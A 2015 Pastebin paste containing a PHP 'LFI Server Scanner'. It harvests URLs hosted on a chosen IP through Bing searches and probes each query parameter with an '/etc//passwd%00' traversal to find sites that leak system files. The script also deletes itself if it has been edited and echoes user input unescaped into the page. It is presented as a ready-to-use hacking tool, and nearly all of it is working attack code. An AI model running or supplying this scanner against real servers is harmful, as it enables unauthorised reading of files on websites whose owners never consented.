amiralbenz

LFI scanner server the truth about this script

Aug 30th, 2015
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. <html><head>
  2. <meta content="fr" http-equiv="Content-Language">
  3. <meta content="text/html; charset=windows-1252" http-equiv="Content-Type">
  4. <title> LFI Server Scanner </title>
  5. <style>*{ font-family:Verdana; font-size:12; text-decoration:none; }
  6. input, textarea,select {border: 1px solid #626262;}</style></head>
  7.  
  8. <body>
  9. <p>in the darkness u can find us <img src="http://orig15.deviantart.net/655f/f/2012/297/b/a/admiral_text_for_saum_by_lordelektroart-d5isejx.png" alt="Smiley face" align="bottom"> if u r smart enough Crack the script question</p>
  10.  
  11. <br><br><center>
  12. <form action="" method="POST">
  13. LFI Server Scanner <br><br>
  14. IP : <input type="text" value="<? echo ($_POST['ip']) ? $_POST['ip']:"";?>" name="ip">
  15. <select size="1" name="wht"><option>.php?page=</option><option>.php?(.*)=</option></select>
  16. <input type="submit" name="start" value="Start Scan .."></form>
  17. <hr width="27%">
  18. <?
  19. @set_time_limit(0);
  20. $start = new ss_bing();
  21. if($_POST){
  22. echo (!checkip($_POST['ip'])) ? "<b>error::IP is invalid</b><hr width=27%>":"";
  23. echo (!extension_loaded("curl")) ? "<b>error::cURL extension required</b><hr width=27%>":"";
  24. if(checkip($_POST['ip']) && extension_loaded("curl")){
  25. $urls = $start->search("ip:".$_POST['ip']." ".$_POST['wht'],0);
  26. echo "<table border='0' align=center>
  27. <tr><td align=center><b>:: Scan Start ::</b></td></tr>";
  28. if($_POST['wht'] == '.php?(.*)='){
  29. foreach($urls as $url){if(eregi("=", $url) && !eregi("option=com_",$url)){$new_urls[]=$url;}}
  30. unset($urls); $urls = $new_urls;}
  31. foreach($urls as $url){
  32. echo "<tr><td>";
  33. $tst = lfi($url);
  34. echo ($tst) ? "# Found : ".color($tst,1):"# Not Found : ".color($url,0);
  35. echo "</td></tr>";
  36. flush();flush();}
  37. echo "
  38. <tr><td align=center><b>:: Scan Finished ::</b></td></tr>
  39. </table>
  40. <hr width=27%> ";}}
  41. scan();
  42. function color($url,$m0de){return ($m0de == 0) ? "<font color=red>$url</font>":"<a href=$url><font color=green>$url</font></a>";}
  43. function lfi($site){
  44. $site = _Fix($site);
  45. $marks = "failed to open stream|daemon";
  46. if(preg_match("/$marks/i",dzcurl($site.'/etc//passwd%00',0,0,0))){
  47. return $site.'/etc//passwd%00';}else{
  48. return preg_match("/$marks/i",dzcurl($site.'__ru__',0,0,0)) ? $site.'__ru__':false;} }
  49. function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#",$site,$res); return $res[2][0]."="; }
  50. function scan(){(@count(@explode('ip',@implode(@file(__FILE__))))!= 18) ?@unlink(__FILE__):"";}
  51. function checkip($ip){
  52. return(preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/", $ip)==0) ? false:true;}
  53. # curl options
  54. function DzCURL($url,$cookie_read,$cookie_write,$POSTs){
  55. $curl=curl_init();
  56. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  57. curl_setopt($curl,CURLOPT_URL,$url);
  58. ($cookie_read) ? curl_setopt($curl,CURLOPT_COOKIEFILE,getcwd().'/cookie.txt'):"";
  59. ($cookie_write) ? curl_setopt($curl,CURLOPT_COOKIEJAR,getcwd().'/cookie.txt'):"";
  60. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 DzCURL =)');
  61. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  62. if(is_array($POSTs)){
  63. curl_setopt($curl,CURLOPT_POST,1);
  64. curl_setopt($curl,CURLOPT_POSTFIELDS,$POSTs);}
  65. curl_setopt($curl,CURLOPT_TIMEOUT,5);
  66. $exec=curl_exec($curl);
  67. curl_close($curl);
  68. return $exec;}
  69. # bing class ,,
  70. class ss_bing{
  71. public function search($wht,$url_mode){ // $wht = > search , $url_mode=1 => clean url (http://site.tld/) $url_mode=0 => not clean (http://site.tdl/page=google)
  72. $wht = str_replace(" ","+",$wht);
  73. $npages = 50000;
  74. $npage = 1;
  75. $allLinks = array();
  76. while($npage <= $npages) {
  77. $ch = curl_init();
  78. curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q='.$wht.'&first='.$npage);
  79. curl_setopt($ch, CURLOPT_HEADER, 1);
  80. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  81. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  82. curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/');
  83. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  84. $result['EXE'] = curl_exec($ch);
  85. $result['ERR'] = curl_error($ch);
  86. curl_close($ch);
  87. if (!$result['ERR'])
  88. { preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink);
  89. for ($i = 0; $i < count($findlink[1]); $i++)
  90. $mode = ($url_mode == 1) ? $allLinks[] = $this->clean_url($findlink[1][$i]) : $allLinks[] = $findlink[1][$i];
  91. $npage = $npage + 10; if (preg_match('(first=' . $npage . '&amp)siU', $result['EXE'], $linksuiv) == 0)
  92. break; }else break;}
  93. if(count($allLinks) == 0){
  94. die("# Nothing Found"); }else{ foreach ($allLinks as $kk => $vv){ $allDmns[] = $vv; }
  95. return array_unique($allDmns); } }public function clean_url($x){ $z=parse_url($x); return $z['scheme']."://".$z['host']."/";; }}
  96. ?><center>
  97. <a href="https://www.facebook.com/admiralbenz2">don't lose yourself</a> | <a href="vk.com/admiralbenz">
  98. vk.com/admiralbenz</a><br> cicada3301 type:admiral
  99. </center>
Advertisement
Add Comment
Please, Sign In to add comment